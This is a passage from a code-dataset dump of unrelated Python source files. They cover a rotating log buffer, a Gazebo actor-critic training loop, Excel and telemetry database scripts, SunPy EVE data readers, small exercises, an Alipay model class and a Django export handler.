raw_msg_arr[last_start_line_n:]\n last_log = \"\\n\".join(msg_parts)\n log_arr.append(last_log)\n return log_arr\n\n\nclass LogBuffer(object):\n\n def __init__(self, abs_path, max_file_size=DEFAULT_MAX_FILE_SIZE):\n self.folder, self.filename = (os.path.dirname(abs_path),\n os.path.basename(abs_path))\n self.max_file_size = max_file_size\n self.filename_regex = \\\n re.compile(FILENAME_REGEX_PATTERN % self.filename)\n self.handle_lock = threading.RLock()\n\n @property\n def current_log_file(self):\n abs_path = os.path.join(self.folder, self.filename)\n ensure_path(abs_path)\n return abs_path\n\n def _get_oldest_index(self):\n '''\n The smallest number is the oldest.\n When no file with suffix exists, return 0\n '''\n filenames = os.listdir(self.folder)\n indexes = [int(self.match(fn).group(1))\n for fn in filenames if self.filename_regex.match(fn)]\n if not indexes:\n # no file exists except file\n return 0\n return min(indexes)\n\n @property\n def oldest_group_file(self):\n index = self._get_oldest_index()\n fn = \"%s.%s\" % (self.filename, index) \\\n if index != 0 else self.filename\n abs_path = os.path.join(self.folder, fn)\n return abs_path\n\n def _get_oldest_group(self):\n with open(self.oldest_group_file, 'r') as f:\n raw_lines = [line.strip() for line in f.readlines() if line]\n group = generate_log_array(raw_lines)\n return group\n\n def _rewrite_oldest_group(self, new_group):\n content = \"\\n\".join(new_group)\n with open(self.oldest_group_file, 'w') as f:\n f.write(content)\n\n def _delete_oldest_group(self):\n os.remove(self.oldest_group_file)\n\n def _generate_next_filename(self):\n last_index = self._get_oldest_index()\n new_index = last_index + 1\n return \"%s.%s\" % (self.filename, new_index)\n\n def has_log(self):\n if self._get_oldest_index() > 0:\n return True\n else:\n # allow for a return, it's a little arbitrary.\n return True if file_size(self.current_log_file) > 1 \\\n else False\n\n def add_log(self, msg):\n '''\n Interface to write log.\n '''\n with self.handle_lock:\n if file_size(self.current_log_file) + len(msg) \\\n > self.max_file_size:\n new_backup_filename = self._generate_next_filename()\n shutil.move(self.current_log_file,\n os.path.join(self.folder, new_backup_filename))\n with open(self.current_log_file, 'a') as f:\n f.write(\"%s\\n\" % msg)\n\n def clean_oldest_group(self, retry_func):\n '''\n Interface to clean buffer.\n '''\n with self.handle_lock:\n oldest_group = self._get_oldest_group()\n for log in oldest_group:\n if retry_func(log):\n oldest_group.remove(log)\n if oldest_group:\n self._rewrite_oldest_group(oldest_group)\n else:\n self._delete_oldest_group()\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","sub_path":"qfpay_scribe_logger/logbuffer.py","file_name":"logbuffer.py","file_ext":"py","file_size_in_byte":4151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"359571965","text":"#!/usr/bin/env python\n\nimport gym\nfrom gym import wrappers\nimport gym_gazebo\nimport time\nfrom distutils.dir_util import copy_tree\nimport os\nimport json\nimport liveplot\nimport ac_actorcritic as ac\nimport csv\nimport numpy as np\nimport tensorflow.compat.v1 as tf\nimport random\nimport ac_memory as memory\nimport pandas as pd\n\n#for xrange\nfrom past.builtins import xrange\n\ndef detect_monitor_files(training_dir):\n return [os.path.join(training_dir, f) for f in os.listdir(training_dir) if f.startswith('openaigym')]\n\ndef clear_monitor_files(training_dir):\n files = detect_monitor_files(training_dir)\n if len(files) == 0:\n return\n for file in files:\n print(file)\n os.unlink(file)\n\nif __name__ == '__main__': \n\t#REMEMBER!: project_setup.bash must be executed.\n env = gym.make('GazeboProjectTurtlebotAc-v0')\n action_dim = env.action_space.shape[0]\n observation_dim = env.observation_space.shape\n \n main_outdir = '/home/katolab/experiment_data/AC_data_2/'\n outdir = main_outdir + 'gazebo_gym_experiments/'\n path = main_outdir + 'project_ac_ep'\n \n continue_execution = False\n \n #fill this if continue_execution=True\n resume_epoch = '1900' # change to epoch to continue from\n resume_path = path + resume_epoch\n actor_weights_path = resume_path + '_actor.h5'\n actor_target_weights_path = resume_path + '_actor_target.h5'\n critic_weights_path = resume_path + '_critic.h5'\n critic_target_weights_path = resume_path + '_critic_target.h5'\n params_json = resume_path + '.json'\n \n if not continue_execution:\n #Each time we take a sample and update our weights it is called a mini-batch.\n #Each time we run through the entire dataset, it's called an epoch.\n #PARAMETER LIST\n EPISODES = 5000\n STEPS = 50\n UPDATE_NETWORK = 1 # once per number of actions\n MINIBATCH_SIZE = 128\n MINIMUM_REPLAY_MEMORY = 1000\n A_LEARNING_RATE = 0.0001\n C_LEARNING_RATE = 0.0003\n GREEDY_BOOL = False\n GREEDY_RATE = 1\n REWARD_SCALE = 0.1\n DISCOUNT_FACTOR = 0.99\n MEMORY_SIZE = 250000\n A_HIDDEN_LAYER = [512,512,512]\n C_HIDDEN_LAYER = [[],[],[512,512,512]] # [[before merging critic],[before merging actor],[after merging]]\n CURRENT_EPISODE = 0\n TARGET_DISCOUNT = 0.001 # [0,1] 0: don't update target weights, 1: update target wieghts 100% from model weights\n MEMORIES = None\n\n else:\n #Load weights, monitor info and parameter info.\n with open(params_json) as outfile:\n d = json.load(outfile)\n EPISODES = d.get('EPISODES')\n STEPS = d.get('STEPS')\n UPDATE_NETWORK = d.get('UPDATE_NETWORK')\n MINIBATCH_SIZE = d.get('MINIBATCH_SIZE')\n MINIMUM_REPLAY_MEMORY = d.get('MINIMUM_REPLAY_MEMORY')\n A_LEARNING_RATE = d.get('A_LEARNING_RATE')\n C_LEARNING_RATE = d.get('C_LEARNING_RATE')\n GREEDY_BOOL = d.get('GREEDY_BOOL')\n GREEDY_RATE = d.get('GREEDY_RATE')\n REWARD_SCALE = d.get('REWARD_SCALE')\n DISCOUNT_FACTOR = d.get('DISCOUNT_FACTOR')\n MEMORY_SIZE = d.get('MEMORY_SIZE')\n A_HIDDEN_LAYER = d.get('A_HIDDEN_LAYER')\n C_HIDDEN_LAYER = d.get('C_HIDDEN_LAYER')\n CURRENT_EPISODE = d.get('CURRENT_EPISODE')\n TARGET_DISCOUNT = d.get('TARGET_DISCOUNT')\n MEMORIES = pd.read_csv(main_outdir + 'experience.csv', index_col=0, dtype = {'reward':np.float64, 'done':np.float32})\n \n clear_monitor_files(outdir)\n \n # Initialize Tensorflow session\n sess = tf.Session()\n \n # Actor model to take actions \n # state -> action\n actor = ac.Actor(sess, action_dim, observation_dim, A_LEARNING_RATE, A_HIDDEN_LAYER)\n # Critic model to evaluate the action taken by the actor\n # state + action -> Expected reward to be achieved by taking action in the state.\n critic = ac.Critic(sess, action_dim, observation_dim, C_LEARNING_RATE, C_HIDDEN_LAYER)\n \n # Initialize saver to save session's variables\n saver = tf.train.Saver()\n if not continue_execution: \n os.makedirs(outdir)\n sess.run(tf.initialize_all_variables())\n else:\n saver.restore(sess, main_outdir + 'project_ac_session_var-' + resume_epoch)\n plotter = liveplot.LivePlot(outdir)\n\n actor_critic = ac.ActorCritic(env, actor, critic, DISCOUNT_FACTOR, MINIBATCH_SIZE, MEMORY_SIZE, TARGET_DISCOUNT, continue_execution, MEMORIES)\n \n if continue_execution : actor_critic.loadModels(actor_weights_path, critic_weights_path, actor_target_weights_path, critic_target_weights_path)\n \n env._max_episode_steps = STEPS # env returns done after _max_episode_steps\n env = gym.wrappers.Monitor(env, outdir,force=not continue_execution, resume=continue_execution)\n\n stepCounter = 0\n min_distance = 20\n max_reward = 0\n \n start_time = time.time()\n \n env.set_start_mode(\"random\") #\"random\" or \"static\" \n \n states = []\n actions = []\n def make_state(states, actions, state, action):\n # update states and actions\n states.pop(0)\n actions.pop(0)\n states.append(state)\n actions.append(action)\n \n # merge past state and action\n _state = []\n for i in range(len(states)-1):\n _state += list(states[i]) + list(actions[i])\n _state += list(states[len(states)-1])\n return states, actions, np.asarray(tuple(_state)) \n \n #start iterating from 'current epoch'\n for episode in xrange(CURRENT_EPISODE+1, EPISODES+1, 1):\n done = False\n \n first_state = env.reset()\n first_action = np.array([0,0,0])\n states = [first_state, first_state, first_state]\n actions = [first_action, first_action]\n states, actions, cur_state = make_state(states, actions, first_state, first_action)\n \n action_memory = memory.Memory(STEPS)\n episode_reward = 0\n episode_step = 0\n new_episode = True\n while not done:\n action, action_step = actor_critic.act(cur_state, new_episode, GREEDY_RATE)\n _next_state, reward, done, _ = env.step(action_step)\n \n states, actions, next_state = make_state(states, actions, _next_state, action)\n\n episode_reward += reward\n\n # Add experience to replay memory\n actor_critic.replay_memory.addMemory(cur_state, action, reward*REWARD_SCALE, next_state, done)\n action_memory.addMemory(cur_state, action, reward, next_state, done)\n\n cur_state = next_state\n \n episode_step += 1\n stepCounter += 1\n\n if len(actor_critic.replay_memory.exp.index) >= MINIMUM_REPLAY_MEMORY:\n actor_critic.train('random')\n if episode%UPDATE_NETWORK == 0: actor_critic.updateTarget()\n \n new_episode = done\n \n if (len(actor_critic.replay_memory.exp.index) >= MINIMUM_REPLAY_MEMORY) and episode%UPDATE_NETWORK == 0: actor_critic.updateTarget()\n \n resetVel = False\n while not resetVel:\n try:\n env.reset_vel()\n resetVel = True\n except:\n pass\n \n m, s = divmod(int(time.time() - start_time), 60)\n h, m = divmod(m, 60)\n \n if env.subgoal_as_dist_to_goal < min_distance:\n min_distance = env.subgoal_as_dist_to_goal\n action_memory.exp.to_csv(outdir + 'min_distance.csv')\n if max_reward < episode_reward:\n max_reward = episode_reward\n action_memory.exp.to_csv(outdir + 'max_reward.csv')\n \n print(\"EP:\" + str(episode) + \" - \" + str(episode_step) + \"/\" + str(STEPS) + \" steps |\" + \" R: \" + str(episode_reward) + \" | Dist: \" + str(env.subgoal_as_dist_to_goal) + \" | Max R: \" + str(max_reward) + \" | Min Dist: \" + str(min_distance) + \"| Time: %d:%02d:%02d\" % (h, m, s))\n \n if (episode)%100==0: \n #save model weights and monitoring data every 100 epochs.\n actor_critic.saveModel(path+str(episode)+'_actor.h5', path+str(episode)+'_critic.h5', path+str(episode)+'_actor_target.h5', path+str(episode)+'_critic_target.h5')\n env._flush()\n \n #save simulation parameters.\n parameter_keys = ['EPISODES', 'STEPS', 'UPDATE_NETWORK', 'MINIBATCH_SIZE', 'MINIMUM_REPLAY_MEMORY', 'A_LEARNING_RATE', 'C_LEARNING_RATE', 'GREEDY_BOOL', 'GREEDY_RATE', 'REWARD_SCALE', 'DISCOUNT_FACTOR', 'MEMORY_SIZE', 'A_HIDDEN_LAYER', 'C_HIDDEN_LAYER', 'CURRENT_EPISODE', 'TARGET_DISCOUNT']\n parameter_values = [EPISODES, STEPS, UPDATE_NETWORK, MINIBATCH_SIZE, MINIMUM_REPLAY_MEMORY, A_LEARNING_RATE, C_LEARNING_RATE, GREEDY_BOOL, GREEDY_RATE, REWARD_SCALE, DISCOUNT_FACTOR, MEMORY_SIZE, A_HIDDEN_LAYER, C_HIDDEN_LAYER, episode, TARGET_DISCOUNT]\n parameter_dictionary = dict(zip(parameter_keys, parameter_values))\n with open(path+str(episode)+'.json', 'w') as outfile:\n json.dump(parameter_dictionary, outfile)\n \n # Save experiences data\n actor_critic.replay_memory.exp.to_csv(main_outdir + 'experience.csv')\n \n # Show rewards graph\n plotter.plot(env, outdir)\n \n # Save tf.session variables\n saver.save(sess, main_outdir + 'project_ac_session_var', global_step=episode)\n \n # Greedy rate update\n if GREEDY_BOOL: GREEDY_RATE = max(0.05, GREEDY_RATE*0.9987) # 3000eps: 0.9987, 1000eps: 0.997\n \n # Save rewards\n with open(main_outdir + 'reward_ac.csv','a+') as csvRWRD:\n csvRWRD_writer = csv.writer(csvRWRD,dialect='excel')\n csvRWRD_writer.writerow([episode, episode_step, episode_reward, env.subgoal_as_dist_to_goal])\n csvRWRD.close()\n \n env.close()\n\n\n","sub_path":"ac_main_2.py","file_name":"ac_main_2.py","file_ext":"py","file_size_in_byte":10036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"601241285","text":"'''\nPurpose:\n 1. 读取TrustData每个月Excel报表，导入数据库\nAuthor: Patrick Zhang(Patrick.zhang@bda.com)\nHistory:\n 2016.04.08 Patrick Zhang write comments in this format\n'''\nimport openpyxl\nimport warnings\nimport calendar\nfrom datetime import date, datetime\nfrom helpers.utils import upsert_batch\n\nwarnings.filterwarnings(\"ignore\")\n\nTODAY = date.today()\ndays_num = 0\n\nFLAGS = [\n 'Monthly Active Users (mln)', 'Daily Active Users (mln)',\n 'Daily Startups per User (#)', 'Daily Time Spent per User (Min)']\n\ndef read_excel(fpath, target_date):\n global days_num\n a_date = datetime.strptime(target_date, '%Y-%m-%d').date()\n days_num = calendar.monthrange(a_date.year, a_date.month)[1]\n\n # 使用Readonly读取会很快\n wb = openpyxl.load_workbook(filename=fpath, read_only=True, data_only=True)\n\n for ws in wb:\n title = ws.title.strip()\n # 当前处于什么位置\n # 0: mau, 1: dau, 2: startups, 3: time\n flag = None\n # 结果集\n result_dict = {}\n # 遍历每一行\n for row_index, row in enumerate(ws.rows):\n # 跳过前两行, 跳过空白行\n if row_index <= 1 \\\n or (row[0].value is None and row[1].value is None):\n continue\n # 设置Flag\n if row[1].value and str(row[1].value).strip() in FLAGS:\n flag = FLAGS.index(row[1].value.strip())\n if row_index != 2:\n continue\n elif 'MoM change' in str(row[1].value):\n flag = None\n continue\n elif flag is None:\n continue\n # 第三行，找日期所在列\n if row_index == 2:\n for column_index, cell in enumerate(row):\n if str(cell.value).split(' ')[0] == target_date:\n print('目标数据在%s列' % column_index)\n break\n continue\n # 开始收集数据\n print(flag, row[2].value, row[column_index].value)\n app_name_en, app_name, value = str(row[1].value).strip(), str(row[2].value).strip(), row[column_index].value\n # 初始化结果集\n if app_name in result_dict:\n result_dict[app_name][flag] = value\n else:\n result_dict[app_name] = [0] * 4\n result_dict[app_name].extend([app_name_en, target_date, title])\n result_dict[app_name][flag] = value\n\n if result_dict:\n print(result_dict)\n wrap(result_dict)\n\ndef wrap(result_dict):\n # 先处理从Excel读取的记录，然后导入数据库\n insert_list = []\n for app_name, value_list in result_dict.items():\n # 单位千\n mau = value_list[0] * 1000\n dau = value_list[1] * 1000\n # 单位次，分钟\n per_capita_daily_startup_counts, per_capita_daily_use_time, app_name_en, target_date, sector = value_list[2:]\n\n per_startup_use_time = per_capita_daily_use_time / per_capita_daily_startup_counts\n total_startup_counts = dau * per_capita_daily_startup_counts * days_num\n total_use_time = (per_startup_use_time * total_startup_counts) / 60\n\n insert_list.append([\n app_name, app_name_en, sector, target_date, dau, per_capita_daily_startup_counts, per_startup_use_time,\n mau, per_capita_daily_use_time, total_startup_counts, total_use_time, 'TrustData', str(TODAY),\n '30', 'Mobile', 'APP', 'iOS + Android'])\n\n sql = (\n 'INSERT INTO app(app_name, app_name_en, sector, starting_date, daily_active_user, per_capita_daily_startup_counts, '\n ' per_startup_use_time, active_users, per_capita_daily_use_time, total_startup_counts , total_use_time,'\n ' source, createddate, date_type, app_type, data_type, os) '\n ' VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)')\n\n upsert_batch(sql, insert_list)\n\n\nif __name__ == '__main__':\n read_excel(\n 'D:/BDA_Files/Original Data/local/TrustData/20160408/Trustdata数据报表-tiger-2016 04 05.xlsx',\n '2016-03-01')\n","sub_path":"handler/trustdata_excel_import.py","file_name":"trustdata_excel_import.py","file_ext":"py","file_size_in_byte":4165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"569353614","text":"#!/usr/bin/env python\n# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\n\"\"\"\nOne-off script to fix residual mismatches in cmd_states pitch and SIM-Z. These\nare largely due to SCS107 runs with a dense set of replans that are not exactly\ncaptured in the timeline loads.\n\nThis script uses telemetry to repair the errant command states. The result is still\nnot perfect but mostly good. The last fix is 2007:153.\n\n# Fetch comparison telemetry\nfetch --start 2002:010 --stop 2009:001:00:00:00 --dt 600 --outfile tlm2002_2008.dat \\\n --time-format secs aopcadmd cobsrqid tscpos aosares1 point_suncentang\n\n\"\"\"\n\n# import Ska.Table\nimport Ska.DBI\nimport Chandra.cmd_states as cmd_states\n\ndef get_options():\n from optparse import OptionParser\n parser = OptionParser()\n parser.set_defaults()\n parser.add_option(\"--dbi\",\n default='sqlite',\n help=\"Database interface (sqlite|sybase)\")\n parser.add_option(\"--server\",\n default='db_base.db3',\n help=\"DBI server (|sybase)\")\n \n (opt, args) = parser.parse_args()\n return (opt, args)\n\ndef main():\n import numpy as np\n from scipy.signal import medfilt\n\n opt, args = get_options()\n\n if 'tlm' not in globals():\n print('Reading telemetry')\n tlm = Ska.Table.read_ascii_table('t/tlm2002_2008.dat', delimiters=[','])\n\n db = Ska.DBI.DBI(dbi=opt.dbi, server=opt.server)\n\n datestart = '2002:010:00:00:00' \n datestop = '2009:001:00:00:00'\n\n if 'states' not in globals():\n print('Getting states')\n states = db.fetchall(\"\"\"SELECT * from cmd_states\n WHERE datestart > '%s'\n AND datestop < '%s'\"\"\" % (datestart, datestop))\n ok = (tlm.date > states[0].tstart) & (tlm.date < states[-1].tstop)\n tlm = tlm[ok]\n state_vals = cmd_states.interpolate_states(states, tlm.date)\n\n simdiff = medfilt(tlm.tscpos - state_vals.simpos, 5)\n bad = abs(simdiff) > 5000.\n bad_state_idxs = np.unique(np.searchsorted(states.tstop, tlm[bad].date))\n for bad_state in states[bad_state_idxs]:\n ok = (tlm.date >= bad_state.tstart) & (tlm.date <= bad_state.tstop)\n simpos = np.median(tlm[ok].tscpos)\n cmd = \"UPDATE cmd_states SET simpos=%d WHERE datestart='%s'\" % (simpos, bad_state.datestart)\n print(cmd)\n db.execute(cmd)\n\n pitchdiff = medfilt(tlm.aosares1 - state_vals.pitch, 9)\n bad = abs(pitchdiff) > 5.\n bad_state_idxs = np.unique(np.searchsorted(states.tstop, tlm[bad].date))\n for bad_state in states[bad_state_idxs]:\n ok = (tlm.date >= bad_state.tstart) & (tlm.date <= bad_state.tstop)\n pitch = np.median(tlm[ok].aosares1)\n cmd = \"UPDATE cmd_states SET pitch=%f WHERE datestart='%s'\" % (pitch, bad_state.datestart)\n print(cmd)\n db.execute(cmd)\n\n db.commit()\n\nif __name__ == '__main__':\n main()\n \n","sub_path":"fix_pitch_simz.py","file_name":"fix_pitch_simz.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"275513915","text":"# -*- coding: utf-8 -*-\n#\n#\n# \n\"\"\"\n Provides programs to process and analyze EVE data.\n \n .. warning:: This module is still in development!\n\n\"\"\" \n\nfrom __future__ import absolute_import\nimport urllib\nimport csv\nfrom datetime import datetime, date, time \nfrom sunpy.time import parse_time\n\ndef get_latest_l0cs_goes_data():\n \"\"\"Grab the latest EVE GOES Proxy data and plot it in a standard \n (GOES) plot format\n \n Parameters\n ----------\n None : none\n\n Returns\n -------\n value : tuple\n Return a tuple (filename, headers) where filename is the local file \n name under which the object can be found, and headers is \n whatever the info() method of the object returned by urlopen.\n\n See Also\n --------\n\n Examples\n --------\n >>> import sunpy.instr.sdoeve as eve\n >>> eve.get_latest_l0cs_goes_data()\n \n Reference\n ---------\n | \n\n \"\"\"\n \n #TODO should this be in the net module?\n url = 'http://lasp.colorado.edu/eve/data_access/quicklook/quicklook_data/L0CS/LATEST_EVE_L0CS_DIODES_1m.txt'\n \n f = urllib.urlretrieve(url)\n reader = csv.reader(open(f[0], \"rb\"), delimiter = ' ', skipinitialspace = True)\n \n i = 0\n \n t = []\n xrsb = []\n xrsa = []\n \n for row in reader:\n if row[0][0] != ';':\n #read the date line\n if i == 0:\n d = date(int(row[0]),int(row[2]),int(row[3]))\n else:\n t.append(time(int(row[0][0:2]),int(row[0][2:4])))\n xrsb.append(float(row[1]))\n xrsa.append(float(row[2])) \n i = i + 1\n \n ts = [datetime.combine(d,s) for s in t]\n \n return [ts,xrsa, xrsb]\n\ndef show_latest_l0cs_goes_data():\n \"\"\"Download and plot the latest EVE GOES proxy data in a standard GOES plot.\n\n Parameters\n ----------\n None : none\n\n Returns\n -------\n None : none\n\n See Also\n --------\n\n Examples\n --------\n >>> import sunpy.instr.sdoeve as eve\n >>> eve.show_latest_l0cs_goes_data()\n \n Reference\n ---------\n | \n\n \"\"\"\n from sunpy.instr.goes import show as goes_show\n \n data = get_latest_l0cs_goes_data()\n \n goes_show(data[0], data[1], data[2], \n title = 'EVE GOES Proxy Xray Flux (1 minute data)')\n \ndef get_l0cs_data(time_range):\n \"\"\"Download EVE Level 0CS data for a time range (not done coding!)\n \n .. warning:: Note done coding!\n \"\"\"\n return 0\n \ndef get_l0cs_date(request_date):\n \"\"\"Download EVE Level 0CS data for a specific date.\n\n .. warning:: Note done coding!\n\n Parameters\n ----------\n date : parse_time compatible time string or datetime object\n\n Returns\n -------\n dict : none\n\n See Also\n --------\n\n Examples\n --------\n >>> import sunpy.instr.sdoeve as eve\n >>> data = eve.get_l0cs_date(['2010/04/03'])\n \n Reference\n ---------\n | http://lasp.colorado.edu/eve/data_access/\n \n \"\"\"\n \n url_root = 'http://lasp.colorado.edu/eve/data/quicklook/L0CS/SpWx/'\n _date = parse_time(request_date)\n \n url = url_root + _date.strftime('%Y/%Y%m%d') + '_EVE_L0CS_DIODES_1m.txt'\n url_counts = url_root + _date.strftime('%Y/%Y%m%d') + '_EVE_L0CS_DIODES_1m_counts.txt'\n \n f = urllib.urlretrieve(url)\n reader = csv.reader(open(f[0], \"rb\"), delimiter = ' ', skipinitialspace = True)\n \n field_names = ('hhmm', 'xrs-b', 'xrs-a', 'sem', 'ESPquad', 'esp171', \n 'esp257', 'esp304', 'esp366', 'espdark', 'megsp', 'megsdark', \n 'q0esp', 'q1esp', 'q3esp', 'cmlat', 'cmlon')\n \n t = []\n xrsb = []\n xrsa = []\n i = 0\n for row in reader:\n if row[0][0] != ';':\n #read the date line\n if i == 0:\n d = date(int(row[0]),int(row[2]),int(row[3]))\n else:\n t.append(time(int(row[0][0:2]),int(row[0][2:4])))\n xrsb.append(float(row[1]))\n xrsa.append(float(row[2])) \n i = i + 1\n ","sub_path":"sunpy/instr/sdoeve.py","file_name":"sdoeve.py","file_ext":"py","file_size_in_byte":4063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"638839715","text":"class Solution:\n def shortestToChar0(self, S, C):\n prev = float('-inf')\n ans = []\n for i, x in enumerate(S):\n if x == C: prev = i\n ans.append(i - prev)\n\n prev = float('inf')\n for i in range(len(S) - 1, -1, -1):\n if S[i] == C: prev = i\n ans[i] = min(ans[i], prev - i)\n\n return ans\n\n def shortestToChar(self, S, C):\n n = len(S)\n res = [n] * n\n pos = -n\n for i in list(range(n)) + list(range(n)[::-1]):\n if S[i] == C: pos = i\n res[i] = min(res[i], abs(i - pos))\n return res\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.shortestToChar(\"loveleetcode\", 'e'))\n","sub_path":"Solutions/821. Shortest Distance to a Character/821.py","file_name":"821.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"557289951","text":"def weird(n):\n\ts=[]\n\twhile n!=1:\n\t\ts.append(str(n))\n\t\tif n%2==0:\n\n\t\t\tn=n//2\n\t\telse:\n\t\t\tn=(n*3)+1\n\ts.append(str(n))\n\tprint(\" \".join(s))\n\n\ndef missing(num,vals):\n\tf=list(sorted(vals))\n\tfor i in range(1,f[-1]+1):\n\t\tif i not in f:\n\t\t\tprint(i)\n\t\t\tbreak\n\n\n\nn=int(input())\nweird(n)\nmissing(5,[2,3,1,5])\n\n","sub_path":"td.py","file_name":"td.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"572649932","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport json\n\nfrom alipay.aop.api.constant.ParamConstants import *\n\n\nclass TechriskInnovateMpcpromoDataQueryModel(object):\n\n def __init__(self):\n self._goods_id = None\n self._page_no = None\n self._page_size = None\n\n @property\n def goods_id(self):\n return self._goods_id\n\n @goods_id.setter\n def goods_id(self, value):\n self._goods_id = value\n @property\n def page_no(self):\n return self._page_no\n\n @page_no.setter\n def page_no(self, value):\n self._page_no = value\n @property\n def page_size(self):\n return self._page_size\n\n @page_size.setter\n def page_size(self, value):\n self._page_size = value\n\n\n def to_alipay_dict(self):\n params = dict()\n if self.goods_id:\n if hasattr(self.goods_id, 'to_alipay_dict'):\n params['goods_id'] = self.goods_id.to_alipay_dict()\n else:\n params['goods_id'] = self.goods_id\n if self.page_no:\n if hasattr(self.page_no, 'to_alipay_dict'):\n params['page_no'] = self.page_no.to_alipay_dict()\n else:\n params['page_no'] = self.page_no\n if self.page_size:\n if hasattr(self.page_size, 'to_alipay_dict'):\n params['page_size'] = self.page_size.to_alipay_dict()\n else:\n params['page_size'] = self.page_size\n return params\n\n @staticmethod\n def from_alipay_dict(d):\n if not d:\n return None\n o = TechriskInnovateMpcpromoDataQueryModel()\n if 'goods_id' in d:\n o.goods_id = d['goods_id']\n if 'page_no' in d:\n o.page_no = d['page_no']\n if 'page_size' in d:\n o.page_size = d['page_size']\n return o\n\n\n","sub_path":"alipay/aop/api/domain/TechriskInnovateMpcpromoDataQueryModel.py","file_name":"TechriskInnovateMpcpromoDataQueryModel.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"354378026","text":"from os.path import join, basename\nimport csv\nDATA_DIR = 'tempdata'\n\nWRANGLED_HEADERS = ['year', 'name', 'gender' , 'ratio' , 'females', 'males', 'total']\nWRANGLED_DATA_FILENAME = join(DATA_DIR, 'wrangled2014.csv')\n\nYEAR = 2014\nthefilename = join(DATA_DIR, 'yob' + str(YEAR) + '.txt')\n\n\nnamesdict = {}\nwith open(thefilename, 'r') as thefile:\n for line in thefile:\n name, gender, count = line.split(',')\n if not namesdict.get(name):\n namesdict[name] = {'M': 0, 'F': 0}\n namesdict[name][gender] += int(count)\n\nmy_awesome_list = []\n\nfor name, babiescount in namesdict.items():\n xdict = {}\n xdict['year'] = YEAR\n xdict['name'] = name\n xdict['females'] = babiescount['F']\n xdict['males'] = babiescount['M']\n xdict['total'] = xdict['males'] + xdict['females']\n if xdict['females'] >= xdict['males']:\n xdict['gender'] = 'F'\n xdict['ratio'] = round(100 * xdict['females'] / xdict['total'])\n else:\n xdict['gender'] = 'M'\n xdict['ratio'] = round(100 * xdict['males'] / xdict['total'])\n my_awesome_list.append(xdict)\n\n\nwfile = open(WRANGLED_DATA_FILENAME, 'w')\nwcsv = csv.DictWriter(wfile, fieldnames=WRANGLED_HEADERS)\nwcsv.writeheader()\n\ndef xfoo(xdict):\n return (-xdict['total'], xdict['name'])\n\nmy_final_list = sorted(my_awesome_list, key=xfoo)\n\nfor row in my_final_list:\n wcsv.writerow(row)\nwfile.close()\n\n\nfinalfile = open(WRANGLED_DATA_FILENAME, 'r')\nthestupidlines = finalfile.readlines()[0:5]\nfor line in thestupidlines:\n print(line.strip())","sub_path":"exercises/0020-gender-detector/g.py","file_name":"g.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"405687557","text":"\"\"\"\r\nCheck xml schema: https://pypi.python.org/pypi/xmlschema/0.9.8\r\n\"\"\"\r\nfrom django.shortcuts import render\r\nfrom django.template.response import TemplateResponse\r\nfrom django.conf import settings\r\nfrom django import template\r\nfrom demandware.models import ProductMaster, ProductMeta, RelatedProduct, Category, CategoryMeta, Variant, ProductImage, HeaderMgr\r\nfrom demandware.models_handler.category_handler import get_categories\r\nfrom demandware.models_handler.product_handler import *\r\nimport datetime\r\nimport xmlschema\r\nimport logging\r\n\r\n# Get an instance of a logger\r\nlogger = logging.getLogger('django')\r\n\r\ndef handle_export(form=None):\r\n\tdata_type = form.cleaned_data.get('data_type')\r\n\tif int(data_type) == 1:\r\n\t\treturn handle_export_catalogs()\r\n\tif int(data_type) == 2:\r\n\t\treturn handle_export_pricebook()\r\n\tif int(data_type) == 3:\r\n\t\treturn handle_export_inventory()\r\n\tif int(data_type) == 4:\r\n\t\treturn handle_export_category()\r\n\tif int(data_type) == 5:\r\n\t\treturn handle_export_product()\r\n\tif int(data_type) == 6:\r\n\t\treturn handle_export_recommand()\r\n\treturn None\r\n\r\ndef handle_export_catalogs():\r\n\ttry:\r\n\t\tcategories = get_categories()\r\n\t\tproducts = get_product_master()\r\n\t\tvariants = get_product_variants()\r\n\t\tproduct_category = get_product_category()\r\n\t\trelated_products = get_related_product()\r\n\t\treturn dict(\r\n\t\t\tnow=datetime.datetime.utcnow().isoformat() + \"Z\",\r\n\t\t\tcategories=categories,\r\n\t\t\tproductMaster=products,\r\n\t\t\tproductVariants=variants,\r\n\t\t\tproductCategory=product_category,\r\n\t\t\trelatedProducts=related_products,\r\n\t\t)\r\n\texcept Exception as e:\r\n\t\treturn str(e)\r\n\r\ndef handle_export_pricebook():\r\n\ttry:\r\n\t\tlist_cur = get_list_currency()\r\n\t\treturn dict(\r\n\t\t\tnow=datetime.datetime.utcnow().isoformat() + \"Z\",\r\n\t\t\tcurrencies=list_cur,\r\n\t\t)\r\n\texcept Exception as e:\r\n\t\treturn str(e)\r\n\r\ndef handle_export_inventory():\r\n\ttry:\r\n\t\tproducts = get_product_master()\r\n\t\tvariants = get_product_variants()\r\n\t\treturn dict(\r\n\t\t\tnow=datetime.datetime.utcnow().isoformat() + \"Z\",\r\n\t\t\tvariants=variants,\r\n\t\t\tproductMaster=products,\r\n\t\t)\r\n\texcept Exception as e:\r\n\t\treturn str(e)\r\n\r\ndef handle_export_category():\r\n\ttry:\r\n\t\tcategories = 